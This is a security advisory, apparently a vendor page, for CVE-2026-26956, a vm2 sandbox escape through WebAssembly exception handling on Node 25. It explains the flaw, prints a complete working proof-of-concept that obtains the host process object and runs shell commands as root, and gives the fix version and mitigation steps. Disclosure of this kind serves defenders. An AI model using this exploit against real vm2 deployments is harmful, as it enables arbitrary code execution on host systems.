CVE-2026-26956 — vm2
CRITICALCVE-2026-26956 is a critical-severity (CVSS 9.8) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: WASM Sandbox Escape (Node 25 only)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26956.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-26956 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux)
Trigger: Attacker-controlled code passed to VM.run()
Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's try_table instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM try_table catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run(`
const before = typeof process;
const err = new Error("x");
err.name = Symbol();
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
0x02,0x19,0x02,
0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
0x03,0x02,0x01,0x01,
0x07,0x0f,0x01,
0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
0x0a,0x12,0x01,0x10,0x00,
0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);
const instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm),
{ env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
const id = p.mainModule.require("child_process").execSync("id").toString().trim();
const log = p.mainModule.require("console").log;
log("");
log("process before escape:", before);
log("process after escape: ", typeof p);
log("host pid: ", p.pid);
log("host node version: ", p.version);
log("RCE: ", id);
`);
> node poc.js
vm2: 3.10.4 | node: v25.6.1
process before escape: undefined
process after escape: object
host pid: 217
host node version: v25.6.1
RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.10.5npm install vm2@3.10.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.10.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26956 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26956 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-26956. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-26956 in your dependencies?
O3 Security finds CVE-2026-26956 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.